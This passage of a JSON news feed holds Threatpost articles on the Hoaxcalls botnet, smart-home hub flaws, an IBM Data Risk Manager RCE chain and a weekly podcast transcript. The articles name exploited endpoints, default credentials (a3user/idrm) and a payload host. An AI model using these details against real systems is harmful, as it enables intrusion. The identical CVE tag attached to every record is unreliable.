vulnerability](<https://threatpost.com/flaws-zyxels-network-management-software/153554/>) impacting the ZyXEL Cloud CNM SecuManager that was disclosed in March. Now, researchers at Palo Alto Networks\u2019 Unit 42 division have observed that same version of the botnet exploiting a second unpatched bug, this time in Symantec Secure Web Gateway version 5.0.2.8, which is a product that became end-of-life (EOL) in 2015 and end-of-support-life (EOSL) in 2019.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe Symantec bug was [disclosed in March](<https://code610.blogspot.com/2020/03/postauth-rce-in-symantec-web-gateway.html>). Since it affects older versions of the gateway, it will remain unpatched.\n\n\u201cOn April 24, I observed samples of the same botnet incorporating an exploit targeting the EOL\u2019d Symantec Secure Web Gateway v5.0.2.8, with an HTTP request in the format: POST /spywall/timeConfig.php HTTP/1.1,\u201d said Unit 42 researcher Ruchna Nigam, in a [Thursday post](<https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/>). \u201cSome samples reach out to a URL for a public file upload service (plexle[.]us) where the post-exploitation payload is hosted. The URL contacted for the update serves a shell script that downloads and executes binaries from attacker-controlled URLs.\u201d\n\nMeanwhile, Nigam also saw a [Mirai variant](<https://threatpost.com/new-mirai-variant-mukashi-targets-zyxel-nas-devices/153982/>) campaign in May spreading using that same vulnerability; oddly, the malware itself lacks any DDoS capabilities, according to the researcher. As such, the binary seems to be a first-stage loader.\n\n\u201cSamples of this campaign surfaced early May, built on the Mirai source code, and are packed with a modified version of UPX by using a different 4-byte key with the UPX algorithm,\u201d according to Nigam. \u201cAnother deviation from the Mirai source-code is the use of all of ten 8-byte keys that are cumulatively used for a byte-wise string encryption scheme.\u201d\n\nThe vulnerability as mentioned is a post-authentication bug, meaning that the exploit is only effective for authenticated sessions. It\u2019s also no longer present in the latest version of the Symantec Web Gateway, version 5.2.8, so updated devices are protected.\n\nResearchers at Radware previously noted that Hoaxcalls operators seem very quick to weaponize newly discovered bugs, like the ZyXel vulnerability. Unit 42\u2019s Nigam came to a similar conclusion:\n\n\u201cThe use of the exploit in the wild surfaced only a few days after the publication of the vulnerability details, highlighting the fact that the authors of this particular botnet have been pretty active in testing the effectiveness of new exploits as and when they are made public,\u201d according to the researcher.\n\n**_Concerned about the IoT security challenges businesses face as more connected devices run our enterprises, drive our manufacturing lines, track and deliver healthcare to patients, and more? On [June 3 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>), join renowned security technologist Bruce Schneier, Armis CISO Curtis Simpson and Threatpost for a FREE webinar, [Taming the Unmanaged and IoT Device Tsunami](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>). Get exclusive insights on how to manage this new and growing attack surface. [Please register here](<https://attendee.gotowebinar.com/register/1837650474090338831?source=ART>) for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-05-15T20:41:24", "type": "threatpost", "title": "Hoaxcalls Botnet Exploits Symantec Secure Web Gateways", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-05-15T20:41:24", "id": "THREATPOST:6A1329627DFBA3501BA187A580E968D5", "href": "https://threatpost.com/hoaxcalls-botnet-symantec-secure-web-gateways/155806/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:19", "description": "Three different connected home hubs \u2013 Fibaro Home Center Lite, Homematic Central Control Unit (CCU2) and Elko\u2019s eLAN-RF-003 \u2013 are vulnerable in their older versions to serious bugs that would allow information disclosure, man-in-the-middle (MiTM) attacks and unauthenticated remote code execution (RCE), according to researchers.\n\nHome hubs are used to connect a range of smart devices (including appliances, IP cameras, smart thermostat and doorbell gadgets, connected TVs, Google Home and Amazon Alexa offerings, plus laptops, phones and the like). Researchers at ESET pointed out in [Tuesday research](<https://www.welivesecurity.com/2020/04/22/serious-flaws-smart-home-hubs-is-your-device-among-them/>) that an attacker that compromises one of these could in theory gain full access to all of the peripheral devices connected to it \u2013 a scenario that could also impact businesses given that more people are working from home.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)\n\nThe flaws were disclosed by ESET just this week, though most of them were fixed in previous updates. They still impact a number of IoT devices, the analyst firm said \u2013 likely because consumers don\u2019t tend to update their device firmware very often, if at all; and, a handful of the flaws remain unaddressed.\n\n**Fibaro Home Center Lite**\n\nFibaro Home Center Lite (firmware version 4.170) was found by the ESET IoT research team to be vulnerable to a range of bugs. The problems included TLS connections that were vulnerable to MitM attacks thanks to a missing certificate validation \u2013 which would open the door to command injection; the use of very short, hardcoded password stored in the file /etc/shadow in the device\u2019s firmware, ripe for brute-forcing; the use of a hardcoded password salt; and a vulnerable weather service API that leaked the exact GPS coordinates of the device due to the use of unencrypted HTTP communications.\n\nSome of these could be chained together to create an SSH backdoor for full control of a targeted device.\n\nFor instance, ESET researchers were able to create their own MiTM server, thanks to the fact that the Fibaro Home Center Lite communicates with its cloud server via a standard SSH tunnel, but it fails to validate the certificate for TLS communications with the server.\n\n\u201cFibaro Home Center Lite sends two separate TLS-encrypted requests asking for the SSH server\u2019s hostname and listening port,\u201d the researchers explained. \u201cBased on the information returned, Fibaro Home Center Lite creates a secured connection via an SSH tunnel to the specified SSH server.\u201d\n\nBecause of the failure to perform certificate verification on the TLS requests, any attacker can use fake certificates signed by their proxy server to accept the public key of the targeted device and mimic the original Fibaro server.\n\n\u201cTo make matters worse, intercepted TLS requests \u2013 intended to create the SSH tunnel between the device and the legitimate server \u2013 are vulnerable to command injection,\u201d according to the research. \u201cBy using the MitM server, attackers can replace the address of the original server lb-1.eu.ra.fibaro.com with whatever they wish.\u201d\n\nFor example, the attacker can generate a malicious response with a command injection that causes the device\u2019s initialization shell script to fail. That prompts the device to request the server\u2019s IP address once again \u2013 a request that can now be intercepted by the attacker and replaced with a different tunnel.\n\n\u201cAnother tunnel is created, through which the attacker\u2019s SSH backdoor port is forwarded,\u201d according to the analysis. \u201cThis reroutes the communication from both ports (SSH 666, HTTP 80) to the attacker\u2019s MitM server. From this point on, the attacker has root access to Fibaro Home Center Lite.\u201d\n\nFrom there, attackers can intercept firmware updates and uncover the hardcoded root password, valid for all Fibaro Home Center Lite devices \u2013 can be \u201ctrivially brute-forced,\u201d according to the security firm.\n\nAttackers can also manipulate user credentials for the device\u2019s web interface, stored in an SQLite database on Fibaro Home Center Lite.\n\n\u201cThese passwords are stored SHA-1 hashed, created from the supplied password salted with a hardcoded string that can easily be extracted from a script in the firmware image file,\u201d the analysis detailed. \u201cUsing the salt, an attacker can rewrite existing credentials in the appropriate row of the Home Center Lite\u2019s SQLite database located at /mnt/user_data/db, rendering the legitimate password invalid.\u201d\n\nFibaro issued patches for the issues, so that the home hubs now verify server certificates and disallow command injections; and the hardcoded root password has been replaced with a \u201clonger and more secure alternative,\u201d according to ESET.\n\nThe hardcoded salt string used to create the SHA-1 hash of the password is however a lingering issue.\n\n**Homematic Central Control Unit (CCU2)**\n\nThe Homematic CCU2 (firmware version 2.31.25) harbors a bug that would allow unauthenticated remote code execution (RCE) as a root user.\n\nThe issue arises from a common gateway interface (CGI) script that handles the logout procedure of the Homematic CCU2\u2019s web-based administration interface.\n\n\u201cThe $sid (session ID) parameter was not properly escaped, enabling an attacker to inject malicious code and run arbitrary shell commands as the root (administrator) user,\u201d according to the research. \u201cAs the logout script did not check that it is processing a request from a currently logged-in session, an unlimited number of these requests could be made by an attacker without ever having to log into the device.\u201d\n\nUsing this, an attacker could set a new root password.\n\nThe issue has been patched.\n\n**Elko\u2019s eLAN-RF-003**\n\nThe eLAN-RF-003 (firmware version 2.9.079) is a smart RF box that allows user to control a variety of systems such as lighting, hot-water temperature, heating, smart locks, shutters, blinds, fans, power outlets and more via an application installed on a smartphone.\n\nESET uncovered critical vulnerabilities in the hub, including the use of unencrypted HTTP protocol for the box\u2019s web GUI communication; essentially, all user communications \u2013 including sensitive data such as usernames and passwords \u2013 was sent over the network without encryption or any other form of protection, allowing any attacker to intercept the information in the clear.\n\nAlso at issue: Inadequate authentication, allowing all commands to be executed without requesting a login; a lack of session cookies, thus lacking any mechanism that could verify that the user was correctly logged in; and, peripheral devices connected to the smart RF box were vulnerable to record and replay attacks.\n\n\u201cUnauthenticated access to the web interface is a severe issue, as it gives anyone with access to the local network the ability to take control over the smart RF box and subsequently all the devices connected to it,\u201d according to the analysis. \u201cThis is especially worrying due to possible combination with other vulnerabilities that allow the attacker to gain a foothold in the local Wi-Fi network.\u201d\n\nAttackers would be able to extract information about peripheral devices, floor plans, errors, attributes of the managed smart home, the device\u2019s firmware version, and so on, ESET noted.\n\nUnfortunately, two of reported vulnerabilities (the unencrypted web interface communication and insecure radio frequency (RF) communication) appear to have remained unpatched, while only partial patches were issue for the others, ESET said. That said, the researchers haven\u2019t probed the latest generation of the device.\n\nThreatpost has reached out to the vendors for further comment.\n\n\u201cMost of the flaws disclosed by ESET have been fixed by the vendors of these particular devices,\u201d the researchers concluded. \u201cHowever, some of the issues appear to have been left unresolved, at least on older generations of devices. Even if newer, more secure generations are available, though, the older ones are still in operation\u2026.[security vulnerabilities in IoT devices](<https://threatpost.com/half-iot-devices-vulnerable-severe-attacks/153609/>) are a prevalent issue.\u201d\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-22T18:28:23", "type": "threatpost", "title": "Connected Home Hubs Open Houses to Full Remote Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-22T18:28:23", "id": "THREATPOST:FB79AC722601BBB92388FFC66EE0EAF4", "href": "https://threatpost.com/connected-home-hubs-full-remote-takeover/155037/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:14", "description": "UPDATED\n\nFour serious security vulnerabilities in the IBM Data Risk Manager (IDRM) have been identified that can lead to unauthenticated remote code execution (RCE) as root in vulnerable versions, according to analysis \u2013 and a proof-of-concept exploit is available.\n\nIBM weighed in on the problem this week, after a researcher went public with the bugs, one of which may end up being a zero-day issue \u2014 Big Blue is still investigating.\n\nIDRM is a software platform that aggregates threat data from disparate security systems, in order to perform enterprise security risk analysis. According to security researcher Pedro Ribeiro from Agile Information Security, older versions (v. 2.0.1 to 2.0.3) of the IDRM Linux virtual appliance contains bugs pertaining to authentication bypass; command injection; insecure default password; and arbitrary file download. The first three can be chained together to achieve RCE in vulnerable versions.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)\n\n\u201cIDRM is an enterprise security product that handles very sensitive information,\u201d Ribeiro wrote in a [Tuesday analysis](<https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md>). \u201cThe hacking of an IDRM appliance might lead to a full-scale company compromise, as it stores credentials to access other security tools, not to mention it contains information about critical vulnerabilities that affect the company.\u201d\n\n**Three Chained Bugs for RCE**\n\nThe first three bugs that Ribeiro found can be combined to allow a remote attacker to gain full system compromise, according to the research.\n\nThe first is as-yet unaddressed by IBM: An authentication-bypass issue that exists in the appliance\u2019s API endpoint, /albatross/user/login. This endpoint is authenticated by a method that takes the username and sessionID credentials of the person trying to log in, and checks if username exists in the database and if the sessionId is associated with that username. If it all checks out, the application returns a newly generated random password for that username. However, Ribeiro demonstrated that a remote attacker can send a specially crafted request that subverts this process and allows an attacker to retrieve a valid Bearer administrative token. That can then be used to access various APIs.\n\n\u201cIt\u2019s also possible to login as a normal web user on the /albatross/login endpoint, which will yield an authenticated cookie instead of a token, allowing access to the web administration console,\u201d explained the researcher. \u201cIn any case\u2026authentication is now completely bypassed and we have full administrative access to IDRM.\u201d\n\nThe command-injection bug, which has a patch, meanwhile exists because the IDRM exposes an API at /albatross/restAPI/v2/nmap/run/scan that allows an authenticated user to perform nmap scans.\n\n\u201cHaving access to nmap allows running arbitrary commands, if we can upload a script file and then pass that as an argument to nmap with \u2013script=<FILE>,\u201d the researcher explained. \u201cHowever, to achieve code execution in this way, we still need to upload a file. Luckily, there is a method that processes patch files and accepts arbitrary file data, saving it to /home/a3user/agile3/patches/<FILE>.\u201d\n\nThat method is supposed to accept a patch file, process it and apply it. However, Ribeiro explained that \u201cthere are several bugs in version 2.0.2 that cause the method to abort early and fail to process the file. Still, the file is uploaded and kept on disk even after the method aborts.\u201d\n\nIn order to exploit this bug, an attacker would need to have an authenticated session as an administrator, which can be achieved with the first vulnerability.\n\nThe third bug, which IBM says can be solved by reconfiguring the appliance, comes from the use of hard-coded credentials: The administrative user in the IDRM virtual appliance is \u201ca3user\u201d by default.\n\n\u201cThis user is allowed to login via SSH and run sudo commands, and it is set up with a default password of \u2018idrm,'\u201d said Ribeiro.\n\nAnd, when combined with the first two bugs, this allows an unauthenticated attacker to achieve RCE as root on the IDRM virtual appliance, leading to complete system compromise, the researcher said.\n\nA Metasploit [proof-of-concept exploit module](<https://github.com/rapid7/metasploit-framework/pull/13300>) implementing the full RCE chain has been released and a video demonstration can be [found here](<https://asciinema.org/a/3nJ4lD1pD7XBfEFqkc9qPDUV2>).\n\n**Arbitrary File Download**\n\nThe fourth bug, also fixed in later versions, is a path traversal bug that comes from an improper limitation of a pathname to a restricted directory.\n\n\u201cIDRM exposes an API at /albatross/eurekaservice/fetchLogFiles that allows an authenticated user to download log files from the system,\u201d explained Ribeiro. \u201cHowever, the logFileNameList parameter contains a basic directory traversal flaw that allows an attacker to download any file off the system.\u201d\n\nHe added that exploitation is \u201cvery simple.\u201d\n\nThis flaw too can be chained. When combined with the first authentication-bypass bug, an unauthenticated attacker can download any file readable by \u201ca3user\u201d off the system, Ribeiro said. A [second Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/13301>) implementing this was released and a video demo [can be found here](<https://asciinema.org/a/y6HfoaEIf8qZbn6mcUGeVhyUp>).\n\n**Patch Information and Mitigation**\n\nVersions 2.0.1 to 2.0.3 have been confirmed as vulnerable to the first three flaws, according to Ribeiro; as for the fourth issue, version 2.0.1 is not vulnerable, but v. 2.0.2 and 2.0.3 are. According to [IBM\u2019s advisory](<https://www.ibm.com/support/pages/node/6195705>), issued on April 22 after Ribeiro disclosed his findings, the command-injection vulnerability and the arbitrary-file download bug were both fixed in version 2.0.4. IBM also said that the default-password issue is a configuration choice and up to administrators to change ([guidance available here](<https://www.ibm.com/support/knowledgecenter/en/SSJQ6V_2.0.6/com.ibm.idrm.doc/install/tsk/tsk_installguide_idrm_configuration.html>)).\n\nAs for the first vulnerability, the authentication bypass, IBM said in the advisory that it is \u201cinvestigating this report and will provide further information on fix action as appropriate.\u201d\n\nThe current version of the IDRM is v. 2.0.6.\n\nInitially, Ribeiro made an attempt to coordinate disclosure with IBM via CERT/CC, but IBM did not accept the vulnerability report for review:\n\n_\u201cWe have assessed this report and closed as being out of scope for our vulnerability disclosure program since this product is only for \u2018enhanced\u2019 support paid for by our customers,\u201d according to Big Blue\u2019s response to CERT/CC. \u201cThis is outlined in our policy https://hackerone.com/ibm. To be eligible to participate in this program, you must not be under contract to perform security testing for IBM Corporation, or an IBM subsidiary, or IBM client within six months prior to submitting a report.\u201d_\n\nHowever, after Ribeiro made his findings public, Big Blue said the rejection was a mistake.\n\n\u201cA process error resulted in an improper response to the researcher who reported this situation to IBM,\u201d a spokesperson told Threatpost on Tuesday. \u201cWe have been working on mitigation steps and they will be discussed in a security advisory to be issued.\u201d\n\n_This article was updated at 4 p.m. ET on Tuesday, April 21 with a statement from IBM, and at 10 a.m. ET on Wednesday, April 22 with fresh advisory information from IBM._\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-21T18:19:01", "type": "threatpost", "title": "RCE Exploit Released for IBM Data Risk Manager", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-21T18:19:01", "id": "THREATPOST:C9AB0B1EBE1A344DC385414BD784DFC7", "href": "https://threatpost.com/rce-exploit-ibm-data-risk-manager-no-patch/154986/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:07", "description": "For the week ended April 24, Threatpost editors discuss the hottest cybersecurity news stories, including:\n\n * Apple [zero days disclosed](<https://threatpost.com/apple-patches-two-ios-zero-days-abused-for-years/155042/>) in the iPhone iOS that researchers say have been exploited for years. Meanwhile, [Apple has pushed back](<https://threatpost.com/apple-pushes-back-against-zero-day-exploit-claims/155108/>) and said there\u2019s no evidence to support such activity.\n * Nintendo [confirming that](<https://threatpost.com/nintendo-confirms-breach-of-160000-accounts/155110/>) over 160,000 accounts have been hacked, due to attackers abusing a legacy login system (NNID).\n * With the [NFL\u2019s virtual draft](<https://threatpost.com/nfl-tackles-cybersecurity-2020-draft-day/155004/>) kicking off this week, security researchers and teams have been sounding off on security issues leading to data theft or denial of service attacks.\n\n[Download direct here](<http://traffic.libsyn.com/digitalunderground/news_wrap_apr_24_3.mp3>), or listen to the podcast below.\n\n[\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/14130716/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below find a lightly edited transcript of the Threatpost news wrap._\n\n**Lindsey O\u2019Donnell-Welch**: Hello everyone, welcome back to the [Threatpost news wrap](<https://threatpost.com/category/podcasts/>). You\u2019ve got the Threatpost team here today to discuss this week\u2019s top cyber security news, including myself, Lindsey O\u2019Donnell-Welch and Threatpost editors Tom Spring and Tara Seals. Tom and Tara, happy Friday.\n\n**Tom Spring**: Hey!\n\n**Tara Seals: **Hey, Lindsey. How are you?\n\n**Lindsey: **Good. There\u2019s been a lot of news from this week that we need to unpack. We\u2019ve had leaked source code, Apple zero days, security issues around the NFL draft. So, Tom, I mean, starting with the Apple zero days, that was kind of a huge news item of the week, and there was some back and forth, and I think the most recent thing, was Apple having a statement come out today about the zero days. Can you kind of give us a sense of what that was all about?\n\n**Tom:** Well, sure, sure. It\u2019s an evolving story. And it started a couple days ago when a number of researchers and I\u2019m probably gonna mispronounce the name of the security firm, ZecOps or something along those lines -I can never pronounce these names \u2013 But anyways, they found two zero days, or what they claimed are two zero days that are very, very troubling when described. An attacker can send an email to an iOS device. And if Apple\u2019s default mail program receives that message, there are two vulnerabilities \u2013 an out of bounds write vulnerability and a heap overflow bug \u2013 that kick in when this specially crafted message arrives. In very simple terms, the bugs impact the way that the mail program processes memory. And I won\u2019t get into the technical aspects of it, we\u2019ve written about it, it\u2019s on Threatpost. But essentially, the hackers can use this to either extract data from the mailbox itself, and or combine the flaw to actually take over the device or take control of the device. This was something that was very shocking considering that any modern patched version of the iOS was vulnerable to this attack. The researchers said that this is an attack that\u2019s been used in the wild in a number of targeted attacks by some APTs. And so that story goes. Apple did release a beta update to iOS. And it was reported a couple days ago. And it seemed to suggest Apple was kind of quiet at the time. But given that Apple had released a beta version of its iOS, it seemed that Apple was was not explicitly stating that there was a problem, but suggested it by sending out a patch. Now today, Apple is downplaying the impact of the bug and saying that it has found no evidence that that the bug, number one, has been used in the wild. And just to briefly, quote, Apple\u2019s statement released I believe was yesterday: \u201cWe have concluded these issues do not pose an immediate risk to our users. The researchers identified three issues in mail, but alone, they are insufficient to bypass iPhone or iPad protections. And we have found no evidence they were used against customers.\u201d So we have the classic he said, she said, and we\u2019ll see how this plays out. But it\u2019s high drama, once again with zero days, zero day claims and zero day denials.\n\n**Lindsey:** Yeah, it definitely seems like it is turning into kind of a he said-she said type of report. And it\u2019s interesting too, you know, just looking at ZecOp\u2019s report, they did kind of go into deep detail about the flaws being exploited in the wild. And I think they had mentioned that there were a number of different targets, including individuals from a Fortune 500 org in North America, and executives from a Japanese based carrier. So it is just kind of interesting that Apple is pushing about back against those specific claims that the bugs have been exploited for years. And I\u2019m curious to see kind of where this goes and whether the researchers respond back to Apple at all, and, you know, further kind of corroborate what they had written in the report.\n\n**Tom:** Yeah, well, you know, Apple has gotten some support from the research community. I believe that Google\u2019s Project Zero researchers have chimed in expressing some doubt on the ZecOps research. Meanwhile if anybody\u2019s worried there is the beta version of the iOS that you can download right now and I\u2019m sure we\u2019re going to be hearing more from Apple about them pushing out an update, a final update, for the iOS as well. But you know, I mean, I mean here again, you have Apple which is tight lipped won\u2019t comment and I mean, they have to put out a statement days after the the researchers come out with their their findings. From a reporter standpoint, it would be so nice [if Apple would open up a bigger dialogue](<https://threatpost.com/apple-upgrades-bug-bounty-program-adds-macs-1m-reward/147146/>), not only with journalists, but especially with researchers in terms of maybe helping them better understand what they found, the original research really, casted no doubt on their own research. I mean, why would they, but at least, you know, they could have tempered some of their research with some feedback from Apple. I\u2019m not too sure if they purposely left it out. But you know, historically speaking, it\u2019s tough for researchers to get to vendors to give a [full throated response to their research](<https://threatpost.com/google-bug-hunter-urges-apple-to-change-its-ios-security-culture/134842/>), but we shall be following this story. I\u2019m sure we might even see some interesting things happen over the weekend and Monday morning. We\u2019ll be watching carefully.\n\n**Tara**: I have a question Tom. Have there been any third party researchers that have taken a look at this and weighed in at all with an opinion?\n\n**Tom:** Well, Google Project Zero did. And they cast some doubt on the research itself. I\u2019m not aware of anybody else, I\u2019ve heard a lot of researchers comment on the zero days, but they were commenting in reaction to the actual research being released, they weren\u2019t commenting on, their own reverse engineering, the proof of concepts and dissecting the research itself. So, you know, there could be a lot more noise going out there. And again, this is a fast moving story, and it\u2019s evolving quickly. And we will be keeping a close eye on the Twittersphere of reliable researchers and reaching out to a lot of people on the phone and hopefully, we\u2019ll have a good solid update either over the weekend or ASAP to better assess the real threat here with these \u201czero days.\u201d\n\n**Lindsey: **Right. Well, that was definitely one of the bigger stories of this week. And actually another big story, I guess two similar stories kind of revolved around the gaming community. And one of those stories was Nintendo today, coming out and confirming that 160,000 accounts have been hacked.\n\n**Tom:** Yeah Lindsey, which Nintendo\u2019s accounts? Do we know? I mean, I\u2019m just thinking about my my son\u2019s different accounts with Nintendo. Do we know what platform or services may have been impacted?\n\n**Lindsey:** Yeah, so, basically over the past few weeks, gamers who are using the Nintendo Switch were reporting suspicious activities on their accounts. And they were basically going on Twitter and there were different posts on Reddit saying that unauthorized actors had been logging into their accounts using their PayPal or their payment card methods that were connected to the accounts and buying digital currency for like, online in-game systems. So like [Fortnite V-Bucks](<https://threatpost.com/fortnite-ransomware-masquerades-as-an-aimbot-game-hack/147549/>), etc, etc. This was reported over the past few weeks by various outlets, but Nintendo had stayed kind of silent about whether this was actually happening or what was behind this. And finally, in a statement today, it said that it first of all confirmed the attacks, it said that specifically 160,000 accounts were hacked, and it said the reason that this hack was occurring was because attackers were abusing the Nintendo Network ID legacy login system, which I don\u2019t know if you guys remember but that was from the Nintendo 3DS and Wii U console. That was what was primarily used to login and to buy digital currency for those accounts. So anyways, Nintendo was saying that this login ID was being linked to various Nintendo accounts for the switch. And somehow attackers were able to access the accounts tied to this legacy login system and were then able to access the linked Nintendo accounts for the Switch. And from there, they\u2019d have access to the different payment methods, and were able to make the in-game purchases. So Nintendo didn\u2019t provide any further details about how these accounts were specifically being accessed. But they did say that they were being obtained by some means other than their own service. So I know there had been theories about like credential stuffing or otherwise but that doesn\u2019t seem like it was the case here. So it\u2019s now disabled the NNID login service so that you can\u2019t use that anymore.\n\n**Tom:** Well, I\u2019ll hear from my son with if he\u2019s had trouble connecting, and I\u2019ll know what\u2019s going on.\n\n**Lindsey:** Yeah, yeah, I would check in and make sure.\n\n**Tom:** I wrote a [story about at Linksys, they had to reset their passwords](<https://threatpost.com/attacks-on-linksys-routers-trigger-mass-password-reset/154914/>). And I\u2019m a Linksys customer. And they assured me that every single Linksys customer had been notified. And then I was like, \u201cWell, hold on a minute. I\u2019m a Linksys customer, I haven\u2019t been notified.\u201d And they backtracked and said, \u201cwell, we\u2019re doing it in waves.\u201d So I take it with a grain of salt, when a lot of these companies say they\u2019ve implemented a fix \u2013 whether or not that fix is immediate or whether phases in over time. So I\u2019ll be interested to hear whether my son\u2019s actually having issues or not, or whether they\u2019ve reset passwords or whatnot.\n\n**Lindsey:** Yeah, well, it seems like a lot of companies can post the statement onto their Twitter accounts or on their website and think that\u2019s enough. But you\u2019d be surprised that the number of people who actually need the email notification to be notified of these hacks. So, but it did advise players to set up two factor authentication, of course, to add that extra layer of security to accounts. And it is also resetting the passwords for affected accounts. So hopefully, this problem will go away. I know it had been a widespread kind of issue for people who had been reporting about it online. So we\u2019ll see.\n\nThat was one of the news related to kind of gaming. The other one was the [discovery of leaked source code this week](<https://threatpost.com/valve-confirms-csgo-team-fortress-2-source-code-leak/155092/>) for two popular games that were published by Valve. Those were Counter Strike: Global Offensive and Team Fortress 2. And basically, that was a whole issue because the source code, if accessed, could lead to security issues or cheating, which probably isn\u2019t as serious, but you know, it\u2019s still a problem. And Valve, the developer and publisher of the two games, came out and basically said that the source code in question dates back to 2017, and was already part of an existing leak from 2018. But anyways, I think that goes to show that these security issues do continue to pop up in the gaming space. And there\u2019s such like a massive install base for gamers that this is just a [really lucrative area for cybercriminals](<https://threatpost.com/researcher-discloses-second-steam-zero-day-after-valve-bug-bounty-ban/147593/>) to be looking at.\n\n**Tara:** Yeah, I definitely think that\u2019s the point I was going to make is that, I think, Nintendo has 20 million active users or something like that. And these massive multiplayer games have millions of users to in some cases, and so, you know, I\u2019m surprised we don\u2019t care more about gamer hacking stuff to be honest.\n\n**Lindsey:** Yeah, definitely. I definitely agree, Tara. And so, and then Tara, you also had a very timely news story about the NFL Draft, which is virtual this year and kind of the security concerns that researchers and also teams were having with the event as it starts this week. What was kind of the top concerns there?\n\n**Tara: **Yeah, so the NFL Draft, obviously is a massive, massive event for the league every single year. This is for the sliver of the population that doesn\u2019t know about it, it\u2019s basically where you have pro teams that are looking at the people that are coming out of college and, you know, the Canadian league and some other places that you know, have not been signed to the pros yet, and they evaluate their stats and everything and then this is their opportunity to find new people to the roster. And so in the past this has been done in sort of public space and everybody kind of gets together and teams will congregate at their stadiums and war rooms and things like that. That\u2019s not possible. And so everybody is basically trying to do this with one to one links, you know, from their houses. So you have a head coach in his house or her house, and then you have, you know, the GM in their house and then obviously, all the players trying to tune in, the prospective players that is and so if you look at it, the communications footprint here, the distributed communications footprint is pretty massive. And so in order to bring everybody together to make this happen, there\u2019s a couple of different platforms to do that, one was Microsoft Teams, and then there\u2019s Zoom, you know, infamous Zoom, which clubs are using to communicate amongst themselves.\n\n**Lindsey:** The security issues here are really something that\u2019s good to be looking at right now, with something as big as this, and it\u2019s something that we\u2019ll also have to probably continue looking at for for the foreseeable future. But I also think kind of the technical logistics in the background are important too. And I saw on Twitter yesterday, there was like this [picture of Belichick looking at the draft from his house](<https://twitter.com/jeffphowe/status/1253504449244512257?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1253504449244512257&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost.php%3Fpost%3D155122%26action%3Dedit>) in Nantucket and a bunch of people were, laughing about the fact that, questioning how he was able to get Wi-Fi on on Nantucket, and whether it was able to hold up and all these things. So I think, it\u2019s just so new that there\u2019s a lot of like questions and technical concerns there too.\n\n**Tara:** Yeah, it\u2019s kind of interesting because there are 100+ video feeds when you take into account you know, all the general managers, all the prospects which there are 58 different prospects and the coaches themselves and then plus that\u2019s not even including, you know, the individual underlings that are involved in the process. But yeah, the Belichick thing was really funny. And then also the [head coach of the Arizona Cardinals was all over Twitter](<https://twitter.com/nfldraftscout/status/1253478908487503873?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1253478908487503873&ref_url=https%3A%2F%2Fnesn.com%2F2020%2F04%2Fnfl-twitter-went-bananas-after-seeing-cardinals-kliff-kingburys-pad%2F>), it went totally viral yesterday, he has this sort of Bond villain layer in the Phoenix mountains vibe. It was all like gleaming white and like he\u2019s wearing, you know, Italian loafers. And he just looks at like an Armani ad or something. I mean, there\u2019s a lot of cultural fun stuff that goes along with this. But there\u2019s also a lot of, you know, legitimate cyber security concerns. And so, with the draft picks, you know, you wouldn\u2019t think of that as being sort of critical information, but it really is. And you consider that if a team\u2019s job strategy is leaked to another team, then that\u2019s obviously competitive and that can destroy a team season in theory. You also have, if these things are able to be intercepted, then it can be very useful for people in the online gambling world, for example, there\u2019s a lot of fraud that can be carried out with that. And so there are a few different things that can be done if job information falls into the wrong hands. And so that\u2019s really what they were concerned about. I did reach out to the NFL to find out what their take was on cyber security, and they wouldn\u2019t reveal what exactly they\u2019ve done. But they did say that they they are aware of the potential dangers, and I mean, the draft is going to continue through tomorrow. So, you know, remains to be seen if they successfully warded off any attacks or 